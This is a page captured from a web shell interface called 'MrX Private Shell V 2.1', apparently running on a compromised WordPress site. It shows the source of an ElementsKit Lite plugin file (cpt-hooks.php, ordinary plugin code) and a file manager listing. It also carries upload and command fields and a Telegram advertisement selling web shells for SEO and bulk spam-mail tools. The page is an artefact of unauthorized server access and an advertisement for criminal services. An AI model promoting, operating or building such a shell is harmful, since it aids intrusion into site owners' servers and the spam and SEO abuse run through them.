__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php 
namespace ElementsKit_Lite\Modules\Header_Footer;

defined( 'ABSPATH' ) || exit;

class Cpt_Hooks {
	public static $instance = null;

	public function __construct() {

		add_action( 'admin_init', array( $this, 'add_author_support_to_column' ), 10 );
		add_filter( 'manage_elementskit_template_posts_columns', array( $this, 'set_columns' ) );
		add_action( 'manage_elementskit_template_posts_custom_column', array( $this, 'render_column' ), 10, 2 );
		add_filter( 'parse_query', array( $this, 'query_filter' ) );
	}

	public function add_author_support_to_column() {
		add_post_type_support( 'elementskit_template', 'author' ); 
	}

	/**
	 * Set custom column for template list.
	 */
	public function set_columns( $columns ) {

		$date_column   = $columns['date'];
		$author_column = $columns['author'];

		unset( $columns['date'] );
		unset( $columns['author'] );

		$columns['type']      = esc_html__( 'Type', 'elementskit-lite' );
		$columns['condition'] = esc_html__( 'Conditions', 'elementskit-lite' );
		$columns['date']      = $date_column;
		$columns['author']    = $author_column;

		return $columns;
	}

	/**
	 * Render Column
	 *
	 * Enqueue js and css to frontend.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function render_column( $column, $post_id ) {
		switch ( $column ) {
			case 'type':
				$type   = get_post_meta( $post_id, 'elementskit_template_type', true );
				$active = get_post_meta( $post_id, 'elementskit_template_activation', true );
				
				$output = ucfirst( $type ) . ( ( $active == 'yes' ) 
				? ( '<span class="ekit-headerfooter-status ekit-headerfooter-status-active">' . esc_html__( 'Active', 'elementskit-lite' ) . '</span>' ) 
				: ( '<span class="ekit-headerfooter-status ekit-headerfooter-status-inactive">' . esc_html__( 'Inactive', 'elementskit-lite' ) . '</span>' ) );

				echo wp_kses($output, \ElementsKit_Lite\Utils::get_kses_array());

				break;
			case 'condition':
				$cond = array(
					'condition_a'           => get_post_meta( $post_id, 'elementskit_template_condition_a', true ),
					'condition_singular'    => get_post_meta( $post_id, 'elementskit_template_condition_singular', true ),
					'condition_singular_id' => get_post_meta( $post_id, 'elementskit_template_condition_singular_id', true ),
				);

				echo esc_html(ucwords(
					str_replace(
						'_',
						' ',
						$cond['condition_a']  
						. ( ( $cond['condition_a'] == 'singular' )
						? ( ( $cond['condition_singular'] != '' )
							? ( ' > ' . $cond['condition_singular'] 
							. ( ( $cond['condition_singular_id'] != '' )
								? ' > ' . $cond['condition_singular_id']
								: '' ) )
							: '' )
						: '' )
					)
				));

				break;
		}
	}
	

	public function query_filter( $query ) {
		global $pagenow;
		$current_page = isset( $_GET['post_type'] ) ? sanitize_text_field(wp_unslash($_GET['post_type'])) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We are using wordpress default query filter for managing menu items

		if ( is_admin() 
			&& 'elementskit_template' == $current_page 
			&& 'edit.php' == $pagenow   
			&& isset( $_GET['elementskit_type_filter'] ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We are using wordpress default query filter for managing menu items
			&& $_GET['elementskit_type_filter'] != ''    // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We are using wordpress default query filter for managing menu items
			&& $_GET['elementskit_type_filter'] != 'all' // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We are using wordpress default query filter for managing menu items
		) {
			$type                              = sanitize_text_field(wp_unslash($_GET['elementskit_type_filter'])); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We are using wordpress default query filter for managing menu items
			$query->query_vars['meta_key']     = 'elementskit_template_type';  // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key
			$query->query_vars['meta_value']   = $type; // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value
			$query->query_vars['meta_compare'] = '=';
		}
	}


	public static function instance() {
		if ( is_null( self::$instance ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}

Filemanager

Name Type Size Permission Actions
assets Folder 0775
theme-hooks Folder 0775
views Folder 0775
activator.php File 5.13 KB 0664
cpt-api.php File 4.11 KB 0664
cpt-hooks.php File 4.25 KB 0664
cpt.php File 2.67 KB 0664
init.php File 1.76 KB 0664
Filemanager